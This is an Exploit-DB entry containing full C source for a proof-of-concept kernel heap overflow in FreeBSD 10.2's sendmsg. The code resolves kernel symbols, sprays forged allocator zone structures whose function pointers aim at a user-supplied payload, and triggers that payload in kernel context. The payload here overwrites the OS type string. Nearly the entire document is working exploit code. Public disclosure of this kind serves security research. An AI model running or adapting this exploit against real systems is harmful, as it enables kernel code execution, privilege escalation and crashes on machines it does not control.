FreeBSD Kernel (FreeBSD 10.2 x64) - 'sendmsg' Kernel Heap Overflow (PoC)

EDB-ID:

44212

Author:

CTurt

Type:

dos

Published:

2016-05-29

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <sys/linker.h>

void *(*ata_get_xport)(void);
int (*kprintf)(const char *fmt, ...);
char *ostype;

void *resolve(char *name) {
	struct kld_sym_lookup ksym;
	
	ksym.version = sizeof(ksym);
	ksym.symname = name;
	
	if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
		perror("kldsym");
		exit(1);
	}
	
	printf("  [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
	return (void *)ksym.symvalue;
}

void dummy(void) { 
}

void payload(void) {
	kprintf("  [+] Entered kernel payload\n");
	
	strcpy(ostype, "CTurt  ");
}

#define INFO_SIZE 0
#define INFO_LIMIT 1
#define INFO_USED 2
#define INFO_FREE 3
#define INFO_REQ 4
#define INFO_FAIL 5

int getZoneInfo(char *zname, int i) {
	#define BUF_SIZE 256
	#define LINE_SIZE 56
	
	unsigned int info[6] = { 0 };
	FILE *fp = NULL;
	char buf[BUF_SIZE];
	char iname[LINE_SIZE];
	
	fp = popen("/usr/bin/vmstat -z", "r");
	
	if(fp == NULL) {
		perror("popen");
		exit(1);
	}
	
	memset(buf, 0, sizeof(buf));
	memset(iname, 0, sizeof(iname));
	
	while(fgets(buf, sizeof(buf) - 1, fp) != NULL) {
		sscanf(buf, "%s %u, %u, %u, %u, %u, %u\n", iname, &info[INFO_SIZE], &info[INFO_LIMIT],
			&info[INFO_USED], &info[INFO_FREE], &info[INFO_REQ], &info[INFO_FAIL]);
		
		if(strncmp(iname, zname, strlen(zname)) == 0 && iname[strlen(zname)] == ':') {
			break;
		}
	}
	
	pclose(fp);
	return info[i];
}

void craftCorruptedZone(void *zone) {
	void **uz_slab = (void **)(zone + 200);
	void **uz_dtor = (void **)(zone + 216);
	void **uz_fini = (void **)(zone + 232);
	void **uz_import = (void **)(zone + 240);
	void **uz_release = (void **)(zone + 248);
	*uz_slab = dummy;
	*uz_fini = payload;
	*uz_import = dummy;
	*uz_release = dummy;
}

void craftZone(void *zone) {
	void **uz_slab = (void **)(zone + 200);
	void **uz_dtor = (void **)(zone + 216);
	void **uz_fini = (void **)(zone + 232);
	void **uz_import = (void **)(zone + 240);
	void **uz_release = (void **)(zone + 248);
	
	// put valid kernel address
	*uz_slab = ata_get_xport;
	*uz_fini = ata_get_xport;
	*uz_import = ata_get_xport;
	*uz_release = ata_get_xport;
}

int main(void) {
	int sock;
	struct msghdr msg;
	
	ata_get_xport = resolve("ata_get_xport");
	kprintf = resolve("printf");
	ostype = resolve("ostype");
	
	const int previousAllocations = getZoneInfo("mbuf", INFO_USED);
	
	const size_t bufferSize = getZoneInfo("mbuf", INFO_SIZE);
	const size_t overflowSize = previousAllocations * bufferSize + 0x4000;
	
	char *mapping, *buffer, *overflow;
	const size_t copySize = bufferSize + overflowSize;
	const size_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1);
	
	mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	munmap(mapping + mappingSize, PAGE_SIZE);
	
	buffer = mapping + mappingSize - copySize;
	overflow = buffer + bufferSize;
	
	memset(overflow, 0, overflowSize);
	
	// sizeof(struct uma_zone) == 0x300, but since we can't be certain exactly where we overflow from, we will craft at 256 byte intervals
	for(size_t i = previousAllocations * bufferSize + 0xe0; i < overflowSize - 256; i += 256) {
		craftCorruptedZone(overflow + i);
	}
	
	sock = socket(AF_INET, SOCK_STREAM, 0);
	
	memset(&msg, 0, sizeof(msg));
	msg.msg_control = buffer;
	msg.msg_controllen = -1;
	
	printf("  [+] Performing overflow\n");
	sendmsg(sock, &msg, 0);
	
	printf("  [+] Triggering payload\n");
	close(sock);
	
	sock = socket(AF_INET, SOCK_STREAM, 0);
	
	for(size_t i = previousAllocations * bufferSize + 0xe0; i < overflowSize - 256; i += 256) {
		craftZone(overflow + i);
	}
	
	printf("  [+] Performing overflow\n");
	sendmsg(sock, &msg, 0);
	
	munmap(mapping, mappingSize);
	
	return 0;
}